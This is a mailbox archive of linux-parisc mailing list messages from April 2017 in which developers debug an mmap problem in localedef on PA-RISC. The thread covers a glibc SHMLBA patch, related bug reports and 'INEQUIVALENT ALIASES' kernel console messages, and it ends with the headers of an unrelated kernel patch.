-		d = this_cpu_ptr(&exception_data);
-		d->fault_ip = regs->iaoq[0];
-		d->fault_gp = regs->gr[27];
-		d->fault_space = regs->isr;
-		d->fault_addr = regs->ior;

From - Thu Nov 08 21:39:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Aaro Koskinen <aaro.koskinen@iki.fi>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: mmap problem in localedef
Date: Sun, 2 Apr 2017 22:12:45 +0300
Lines: 34
Approved: news@gmane.org
Message-ID: <20170402191245.odedqsqcx2cp5xtt@raspberrypi-3.musicnaut.iki.fi>
References: <alpine.LRH.2.20.1612051330040.25582@math.ut.ee>
 <9B251251-04AB-4D78-ADD7-F0D429DEB761@bell.net>
 <20170401183717.jpvilw2u4lgiceuv@raspberrypi-3.musicnaut.iki.fi>
 <2241815.7QkIsKQeSs@daneel.sf-tec.de>
 <20170401191023.xpf32zopaecd7dzy@raspberrypi-3.musicnaut.iki.fi>
 <59CDF2DE-076C-4BC0-8381-CE31A2AA8F56@bell.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1491160380 16101 195.159.176.226 (2 Apr 2017 19:13:00 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 2 Apr 2017 19:13:00 +0000 (UTC)
User-Agent: NeoMutt/20170113 (1.7.2)
Cc: Rolf Eike Beer <eike-kernel@sf-tec.de>,
        Meelis Roos <mroos@linux.ee>, linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Apr 02 21:12:52 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1cukvb-0001Lw-Gp
	for glpp-linux-parisc@m.gmane.org; Sun, 02 Apr 2017 21:12:43 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751517AbdDBTMt (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sun, 2 Apr 2017 15:12:49 -0400
Original-Received: from emh03.mail.saunalahti.fi ([62.142.5.109]:45817 "EHLO
        emh03.mail.saunalahti.fi" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751509AbdDBTMt (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Sun, 2 Apr 2017 15:12:49 -0400
Original-Received: from raspberrypi-3.musicnaut.iki.fi (85-76-64-217-nat.elisa-mobile.fi [85.76.64.217])
        by emh03.mail.saunalahti.fi (Postfix) with ESMTP id 564C71887CC;
        Sun,  2 Apr 2017 22:12:46 +0300 (EEST)
Content-Disposition: inline
In-Reply-To: <59CDF2DE-076C-4BC0-8381-CE31A2AA8F56@bell.net>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27378
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27378>

Hi,

On Sun, Apr 02, 2017 at 10:08:59AM -0400, John David Anglin wrote:
> On 2017-04-01, at 3:10 PM, Aaro Koskinen wrote:
> > It was attached to Dave's original mail. Inlined below:
> > 
> > Index: eglibc-2.18/sysdeps/unix/sysv/linux/hppa/bits/shm.h
> > ===================================================================
> > --- eglibc-2.18.orig/sysdeps/unix/sysv/linux/hppa/bits/shm.h	2013-01-09 19:28:48.000000000 -0500
> > +++ eglibc-2.18/sysdeps/unix/sysv/linux/hppa/bits/shm.h	2014-04-09 21:08:06.516202583 -0400
> > @@ -36,7 +36,7 @@
> > #define SHM_UNLOCK	12		/* unlock segment (root only) */
> > 
> > /* Segment low boundary address multiple.  */
> > -#define SHMLBA 0x00400000		/* address needs to be 4 Mb aligned */
> > +#define SHMLBA		(__getpagesize ())
> > 
> > /* Type to count number of attaches.  */
> > typedef unsigned long int shmatt_t;
> 
> This patch goes back to the following discussion:
> https://patchwork.kernel.org/patch/3933841/
> 
> As far as I can tell, it was not submitted to the glibc list, nor is
> there a bug report regarding localedef.

glibc bug report: https://sourceware.org/bugzilla/show_bug.cgi?id=19838

A.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: mmap problem in localedef
Date: Sun, 2 Apr 2017 15:49:07 -0400
Lines: 47
Approved: news@gmane.org
Message-ID: <C5E87DDC-4792-483B-835F-C396A4067174@bell.net>
References: <alpine.LRH.2.20.1612051330040.25582@math.ut.ee> <9B251251-04AB-4D78-ADD7-F0D429DEB761@bell.net> <20170401183717.jpvilw2u4lgiceuv@raspberrypi-3.musicnaut.iki.fi> <2241815.7QkIsKQeSs@daneel.sf-tec.de> <20170401191023.xpf32zopaecd7dzy@raspberrypi-3.musicnaut.iki.fi> <59CDF2DE-076C-4BC0-8381-CE31A2AA8F56@bell.net> <20170402191245.odedqsqcx2cp5xtt@raspberrypi-3.musicnaut.iki.fi>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8BIT
X-Trace: blaine.gmane.org 1491162552 24921 195.159.176.226 (2 Apr 2017 19:49:12 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 2 Apr 2017 19:49:12 +0000 (UTC)
Cc: Rolf Eike Beer <eike-kernel@sf-tec.de>,
        Meelis Roos <mroos@linux.ee>,
        "linux-parisc@vger.kernel.org List" <linux-parisc@vger.kernel.org>,
        Carlos O'Donell <carlos@redhat.com>
To: Aaro Koskinen <aaro.koskinen@iki.fi>, Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Apr 02 21:49:06 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1culUl-0005UB-Lc
	for glpp-linux-parisc@m.gmane.org; Sun, 02 Apr 2017 21:49:03 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751517AbdDBTtJ convert rfc822-to-8bit (ORCPT
        <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sun, 2 Apr 2017 15:49:09 -0400
Original-Received: from belmont79srvr.owm.bell.net ([184.150.200.79]:51752 "EHLO
        mtlfep01.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with ESMTP id S1751240AbdDBTtI (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Sun, 2 Apr 2017 15:49:08 -0400
Original-Received: from bell.net mtlfep01 184.150.200.30 by mtlfep01.bell.net
          with ESMTP
          id <20170402194907.FWJR7970.mtlfep01.bell.net@mtlspm02.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Sun, 2 Apr 2017 15:49:07 -0400
Original-Received: from [192.168.2.10] (really [69.158.172.43]) by mtlspm02.bell.net
          with ESMTP
          id <20170402194907.OMII6763.mtlspm02.bell.net@[192.168.2.10]>;
          Sun, 2 Apr 2017 15:49:07 -0400
In-Reply-To: <20170402191245.odedqsqcx2cp5xtt@raspberrypi-3.musicnaut.iki.fi>
X-Mailer: Apple Mail (2.1085)
X-Cloudmark-Analysis: v=2.2 cv=D8KoErZj c=1 sm=0 tr=0 a=MCnG2Shyl1iix8vyRwff9w==:17 a=kj9zAlcOel0A:10 a=AzvcPWV-tVgA:10 a=VwQbUJbxAAAA:8 a=CCpqsmhAAAAA:8 a=FBHGMhGWAAAA:8 a=Hlc60bC-hajIzwNTrU4A:9 a=xfczfLO2vSEzOYPS:21 a=tesUw_FwY_t8v1SA:21 a=CjuIK1q_8ugA:10 a=AjGcO6oz07-iQ99wixmX:22 a=ul9cdbp4aOFLsgKbc677:22 a=9gvnlMMaQFpL9xblJ6ne:22
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27379
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27379>

On 2017-04-02, at 3:12 PM, Aaro Koskinen wrote:

> Hi,
> 
> On Sun, Apr 02, 2017 at 10:08:59AM -0400, John David Anglin wrote:
>> On 2017-04-01, at 3:10 PM, Aaro Koskinen wrote:
>>> It was attached to Dave's original mail. Inlined below:
>>> 
>>> Index: eglibc-2.18/sysdeps/unix/sysv/linux/hppa/bits/shm.h
>>> ===================================================================
>>> --- eglibc-2.18.orig/sysdeps/unix/sysv/linux/hppa/bits/shm.h	2013-01-09 19:28:48.000000000 -0500
>>> +++ eglibc-2.18/sysdeps/unix/sysv/linux/hppa/bits/shm.h	2014-04-09 21:08:06.516202583 -0400
>>> @@ -36,7 +36,7 @@
>>> #define SHM_UNLOCK	12		/* unlock segment (root only) */
>>> 
>>> /* Segment low boundary address multiple.  */
>>> -#define SHMLBA 0x00400000		/* address needs to be 4 Mb aligned */
>>> +#define SHMLBA		(__getpagesize ())
>>> 
>>> /* Type to count number of attaches.  */
>>> typedef unsigned long int shmatt_t;
>> 
>> This patch goes back to the following discussion:
>> https://patchwork.kernel.org/patch/3933841/
>> 
>> As far as I can tell, it was not submitted to the glibc list, nor is
>> there a bug report regarding localedef.
> 
> glibc bug report: https://sourceware.org/bugzilla/show_bug.cgi?id=19838


Helge, would you send this change to glibc list?  If you already sent it, would you do a ping?

You are in the best position to explain why this value should be page size and not 4MB.  It would be good to note
in BZ where patch is on list.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: mmap problem in localedef
Date: Sun, 2 Apr 2017 16:13:10 -0400
Lines: 47
Approved: news@gmane.org
Message-ID: <6C04F590-3BC6-46FD-8DF1-2C0D1921E591@bell.net>
References: <alpine.LRH.2.20.1612051330040.25582@math.ut.ee> <9B251251-04AB-4D78-ADD7-F0D429DEB761@bell.net> <20170401183717.jpvilw2u4lgiceuv@raspberrypi-3.musicnaut.iki.fi> <2241815.7QkIsKQeSs@daneel.sf-tec.de> <20170401191023.xpf32zopaecd7dzy@raspberrypi-3.musicnaut.iki.fi> <59CDF2DE-076C-4BC0-8381-CE31A2AA8F56@bell.net> <20170402191245.odedqsqcx2cp5xtt@raspberrypi-3.musicnaut.iki.fi> <C5E87DDC-4792-483B-835F-C396A4067174@bell.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8BIT
X-Trace: blaine.gmane.org 1491163999 9541 195.159.176.226 (2 Apr 2017 20:13:19 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 2 Apr 2017 20:13:19 +0000 (UTC)
Cc: Aaro Koskinen <aaro.koskinen@iki.fi>, Helge Deller <deller@gmx.de>,
        Rolf Eike Beer <eike-kernel@sf-tec.de>,
        Meelis Roos <mroos@linux.ee>,
        "linux-parisc@vger.kernel.org List" <linux-parisc@vger.kernel.org>,
        Carlos O'Donell <carlos@redhat.com>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Apr 02 22:13:13 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1culs2-0004Kh-1v
	for glpp-linux-parisc@m.gmane.org; Sun, 02 Apr 2017 22:13:06 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751645AbdDBUNM convert rfc822-to-8bit (ORCPT
        <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sun, 2 Apr 2017 16:13:12 -0400
Original-Received: from simcoe207srvr.owm.bell.net ([184.150.200.207]:44439 "EHLO
        torfep01.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with ESMTP id S1751240AbdDBUNL (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Sun, 2 Apr 2017 16:13:11 -0400
Original-Received: from bell.net torfep01 184.150.200.158 by torfep01.bell.net
          with ESMTP
          id <20170402201310.XBRJ15349.torfep01.bell.net@torspm02.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Sun, 2 Apr 2017 16:13:10 -0400
Original-Received: from [192.168.2.10] (really [69.158.172.43]) by torspm02.bell.net
          with ESMTP
          id <20170402201310.PQWJ23370.torspm02.bell.net@[192.168.2.10]>;
          Sun, 2 Apr 2017 16:13:10 -0400
In-Reply-To: <C5E87DDC-4792-483B-835F-C396A4067174@bell.net>
X-Mailer: Apple Mail (2.1085)
X-Cloudmark-Analysis: v=2.2 cv=TOiqcxta c=1 sm=0 tr=0 a=MCnG2Shyl1iix8vyRwff9w==:17 a=kj9zAlcOel0A:10 a=AzvcPWV-tVgA:10 a=FBHGMhGWAAAA:8 a=GMxmj_n6-UrAnMdWygoA:9 a=CjuIK1q_8ugA:10 a=9gvnlMMaQFpL9xblJ6ne:22
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27380
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27380>

On 2017-04-02, at 3:49 PM, John David Anglin wrote:

> You are in the best position to explain why this value should be page size and not 4MB.  It would be good to note
> in BZ where patch is on list.

Just after I wrote this message, I noticed a slew of INEQUIVALENT ALIASES messages on console:

mx3210 login: INEQUIVALENT ALIASES 0xf8bc0000 and 0x41004000 in file ld-2.24.so
INEQUIVALENT ALIASES 0xf8bc0000 and 0x41004000 in file ld-2.24.so
INEQUIVALENT ALIASES 0xf8bc0000 and 0x41004000 in file ld-2.24.so
INEQUIVALENT ALIASES 0xf8bc0000 and 0x41004000 in file ld-2.24.so
INEQUIVALENT ALIASES 0xf8bbf000 and 0x41003000 in file ld-2.24.so
INEQUIVALENT ALIASES 0xf8bbf000 and 0x41003000 in file ld-2.24.so
INEQUIVALENT ALIASES 0xf8bbf000 and 0x41003000 in file ld-2.24.so
INEQUIVALENT ALIASES 0xf8bbf000 and 0x41003000 in file ld-2.24.so
INEQUIVALENT ALIASES 0xf8bbf000 and 0x41003000 in file ld-2.24.so
INEQUIVALENT ALIASES 0xf8bbf000 and 0x41003000 in file ld-2.24.so
INEQUIVALENT ALIASES 0xf8bbf000 and 0x41003000 in file ld-2.24.so
INEQUIVALENT ALIASES 0xf8bbf000 and 0x41003000 in file ld-2.24.so
INEQUIVALENT ALIASES 0xf8bbf000 and 0x41003000 in file ld-2.24.so
INEQUIVALENT ALIASES 0xf8bbf000 and 0x41003000 in file ld-2.24.so
INEQUIVALENT ALIASES 0xf8bbf000 and 0x41003000 in file ld-2.24.so
INEQUIVALENT ALIASES 0xf8bbf000 and 0x41003000 in file ld-2.24.so
INEQUIVALENT ALIASES 0xf8bc0000 and 0x41004000 in file ld-2.24.so
INEQUIVALENT ALIASES 0xf8bc0000 and 0x41004000 in file ld-2.24.so
INEQUIVALENT ALIASES 0xf8bc0000 and 0x41004000 in file ld-2.24.so
INEQUIVALENT ALIASES 0xf8bc0000 and 0x41004000 in file ld-2.24.so
INEQUIVALENT ALIASES 0xf8bc0000 and 0x41004000 in file ld-2.24.so
INEQUIVALENT ALIASES 0xf8bc0000 and 0x41004000 in file ld-2.24.so
INEQUIVALENT ALIASES 0xf8bc0000 and 0x41004000 in file ld-2.24.so
INEQUIVALENT ALIASES 0xf8bc0000 and 0x41004000 in file ld-2.24.so
INEQUIVALENT ALIASES 0xf8bc0000 and 0x41004000 in file ld-2.24.so
INEQUIVALENT ALIASES 0xf8bc0000 and 0x41004000 in file ld-2.24.so

They might be from firefox or glibc testsuite.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: mmap problem in localedef
Date: Sun, 2 Apr 2017 16:55:22 -0400
Lines: 20
Approved: news@gmane.org
Message-ID: <2D161C27-B5B9-4664-BF87-870C34E07B38@bell.net>
References: <alpine.LRH.2.20.1612051330040.25582@math.ut.ee> <9B251251-04AB-4D78-ADD7-F0D429DEB761@bell.net> <20170401183717.jpvilw2u4lgiceuv@raspberrypi-3.musicnaut.iki.fi> <2241815.7QkIsKQeSs@daneel.sf-tec.de> <20170401191023.xpf32zopaecd7dzy@raspberrypi-3.musicnaut.iki.fi> <59CDF2DE-076C-4BC0-8381-CE31A2AA8F56@bell.net> <20170402191245.odedqsqcx2cp5xtt@raspberrypi-3.musicnaut.iki.fi> <C5E87DDC-4792-483B-835F-C396A4067174@bell.net> <6C04F590-3BC6-46FD-8DF1-2C0D1921E591@bell.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8BIT
X-Trace: blaine.gmane.org 1491166527 9253 195.159.176.226 (2 Apr 2017 20:55:27 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 2 Apr 2017 20:55:27 +0000 (UTC)
Cc: Aaro Koskinen <aaro.koskinen@iki.fi>, Helge Deller <deller@gmx.de>,
        Rolf Eike Beer <eike-kernel@sf-tec.de>,
        Meelis Roos <mroos@linux.ee>,
        "linux-parisc@vger.kernel.org List" <linux-parisc@vger.kernel.org>,
        Carlos O'Donell <carlos@redhat.com>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Apr 02 22:55:20 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1cumWs-0000j8-2I
	for glpp-linux-parisc@m.gmane.org; Sun, 02 Apr 2017 22:55:18 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751775AbdDBUzY convert rfc822-to-8bit (ORCPT
        <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sun, 2 Apr 2017 16:55:24 -0400
Original-Received: from belmont80srvr.owm.bell.net ([184.150.200.80]:36075 "EHLO
        mtlfep02.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with ESMTP id S1751718AbdDBUzX (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Sun, 2 Apr 2017 16:55:23 -0400
Original-Received: from bell.net mtlfep02 184.150.200.30 by mtlfep02.bell.net
          with ESMTP
          id <20170402205522.HAEZ1899.mtlfep02.bell.net@mtlspm02.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Sun, 2 Apr 2017 16:55:22 -0400
Original-Received: from [192.168.2.10] (really [69.158.172.43]) by mtlspm02.bell.net
          with ESMTP
          id <20170402205522.PCZX6763.mtlspm02.bell.net@[192.168.2.10]>;
          Sun, 2 Apr 2017 16:55:22 -0400
In-Reply-To: <6C04F590-3BC6-46FD-8DF1-2C0D1921E591@bell.net>
X-Mailer: Apple Mail (2.1085)
X-Cloudmark-Analysis: v=2.2 cv=UIIyJGXy c=1 sm=0 tr=0 a=MCnG2Shyl1iix8vyRwff9w==:17 a=kj9zAlcOel0A:10 a=AzvcPWV-tVgA:10 a=FBHGMhGWAAAA:8 a=GlCEKu24jUHgvYp7wUwA:9 a=CjuIK1q_8ugA:10 a=MVCKbCGTkq8A:10 a=9gvnlMMaQFpL9xblJ6ne:22
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27381
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27381>

On 2017-04-02, at 4:13 PM, John David Anglin wrote:

> INEQUIVALENT ALIASES 0xf8bc0000 and 0x41004000 in file ld-2.24.so
> INEQUIVALENT ALIASES 0xf8bbf000 and 0x41003000 in file ld-2.24.so

Typically, we have following in maps:
f8bbc000-f8bdf000 r-xp 00000000 08:25 33710119                           /lib/hppa-linux-gnu/ld-2.24.so
f8bdf000-f8be3000 rwxp 00023000 08:25 33710119                           /lib/hppa-linux-gnu/ld-2.24.so

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: mmap problem in localedef
Date: Sun, 2 Apr 2017 17:45:34 -0400
Lines: 60
Approved: news@gmane.org
Message-ID: <AF2BAE69-BC0C-4FDE-9B65-D15AC5FB0960@bell.net>
References: <alpine.LRH.2.20.1612051330040.25582@math.ut.ee> <9B251251-04AB-4D78-ADD7-F0D429DEB761@bell.net> <20170401183717.jpvilw2u4lgiceuv@raspberrypi-3.musicnaut.iki.fi> <2241815.7QkIsKQeSs@daneel.sf-tec.de> <20170401191023.xpf32zopaecd7dzy@raspberrypi-3.musicnaut.iki.fi> <59CDF2DE-076C-4BC0-8381-CE31A2AA8F56@bell.net> <20170402191245.odedqsqcx2cp5xtt@raspberrypi-3.musicnaut.iki.fi> <C5E87DDC-4792-483B-835F-C396A4067174@bell.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8BIT
X-Trace: blaine.gmane.org 1491169545 22094 195.159.176.226 (2 Apr 2017 21:45:45 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 2 Apr 2017 21:45:45 +0000 (UTC)
Cc: Aaro Koskinen <aaro.koskinen@iki.fi>, Helge Deller <deller@gmx.de>,
        Rolf Eike Beer <eike-kernel@sf-tec.de>,
        Meelis Roos <mroos@linux.ee>,
        "linux-parisc@vger.kernel.org List" <linux-parisc@vger.kernel.org>,
        Carlos O'Donell <carlos@redhat.com>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Apr 02 23:45:38 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1cunJS-0002jO-Hq
	for glpp-linux-parisc@m.gmane.org; Sun, 02 Apr 2017 23:45:30 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1750992AbdDBVpg convert rfc822-to-8bit (ORCPT
        <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sun, 2 Apr 2017 17:45:36 -0400
Original-Received: from simcoe208srvr.owm.bell.net ([184.150.200.208]:42228 "EHLO
        torfep02.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with ESMTP id S1750978AbdDBVpf (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Sun, 2 Apr 2017 17:45:35 -0400
Original-Received: from bell.net torfep02 184.150.200.158 by torfep02.bell.net
          with ESMTP
          id <20170402214534.BAOB20892.torfep02.bell.net@torspm01.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Sun, 2 Apr 2017 17:45:34 -0400
Original-Received: from [192.168.2.10] (really [69.158.172.43]) by torspm01.bell.net
          with ESMTP
          id <20170402214534.QZLS4115.torspm01.bell.net@[192.168.2.10]>;
          Sun, 2 Apr 2017 17:45:34 -0400
In-Reply-To: <C5E87DDC-4792-483B-835F-C396A4067174@bell.net>
X-Mailer: Apple Mail (2.1085)
X-Cloudmark-Analysis: v=2.2 cv=CLPFZVjD c=1 sm=0 tr=0 a=MCnG2Shyl1iix8vyRwff9w==:17 a=kj9zAlcOel0A:10 a=AzvcPWV-tVgA:10 a=VwQbUJbxAAAA:8 a=CCpqsmhAAAAA:8 a=xNf9USuDAAAA:8 a=FBHGMhGWAAAA:8 a=gizhOMXcqVI8jJzOwywA:9 a=zzAaC-8RwJtt9InN:21 a=NJE6Xx3D5pRqb_xG:21 a=CjuIK1q_8ugA:10 a=AjGcO6oz07-iQ99wixmX:22 a=ul9cdbp4aOFLsgKbc677:22 a=SEwjQc04WA-l_NiBhQ7s:22 a=9gvnlMMaQFpL9xblJ6ne:22
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27382
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27382>

On 2017-04-02, at 3:49 PM, John David Anglin wrote:

> On 2017-04-02, at 3:12 PM, Aaro Koskinen wrote:
> 
>> Hi,
>> 
>> On Sun, Apr 02, 2017 at 10:08:59AM -0400, John David Anglin wrote:
>>> On 2017-04-01, at 3:10 PM, Aaro Koskinen wrote:
>>>> It was attached to Dave's original mail. Inlined below:
>>>> 
>>>> Index: eglibc-2.18/sysdeps/unix/sysv/linux/hppa/bits/shm.h
>>>> ===================================================================
>>>> --- eglibc-2.18.orig/sysdeps/unix/sysv/linux/hppa/bits/shm.h	2013-01-09 19:28:48.000000000 -0500
>>>> +++ eglibc-2.18/sysdeps/unix/sysv/linux/hppa/bits/shm.h	2014-04-09 21:08:06.516202583 -0400
>>>> @@ -36,7 +36,7 @@
>>>> #define SHM_UNLOCK	12		/* unlock segment (root only) */
>>>> 
>>>> /* Segment low boundary address multiple.  */
>>>> -#define SHMLBA 0x00400000		/* address needs to be 4 Mb aligned */
>>>> +#define SHMLBA		(__getpagesize ())
>>>> 
>>>> /* Type to count number of attaches.  */
>>>> typedef unsigned long int shmatt_t;
>>> 
>>> This patch goes back to the following discussion:
>>> https://patchwork.kernel.org/patch/3933841/
>>> 
>>> As far as I can tell, it was not submitted to the glibc list, nor is
>>> there a bug report regarding localedef.
>> 
>> glibc bug report: https://sourceware.org/bugzilla/show_bug.cgi?id=19838
> 
> 
> Helge, would you send this change to glibc list?  If you already sent it, would you do a ping?

Actually, I see from further research that I'm to blame:
https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=725508

Your bug report was here:
https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=741243

> 
> You are in the best position to explain why this value should be page size and not 4MB.  It would be good to note
> in BZ where patch is on list.

Given the inequivalent alias messages which may have come from glibc testsuite, I'm not sure we have this right.
It seems like the kernel is not sharing pages in ld-2.24.so correctly.  The text and data in the file appear correctly
aligned on page boundaries.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: David Howells <dhowells@redhat.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.network,gmane.linux.kernel.lsm
Subject: [PATCH 19/38] Annotate hardware config module parameters in
 drivers/net/ethernet/
Date: Wed, 05 Apr 2017 17:59:39 +0100
Organization: Red Hat UK Ltd. Registered Address: Red Hat UK Ltd, Amberley
 Place, 107-111 Peascod Street, Windsor, Berkshire, SI4 1TE, United
 Kingdom.
 Registered in England and Wales under Company Registration No. 3798903
Lines: 231
Approved: news@gmane.org
Message-ID: <149141157961.29162.16197434822666566656.stgit@warthog.procyon.org.uk>
References: <149141141298.29162.5612793122429261720.stgit@warthog.procyon.org.uk>
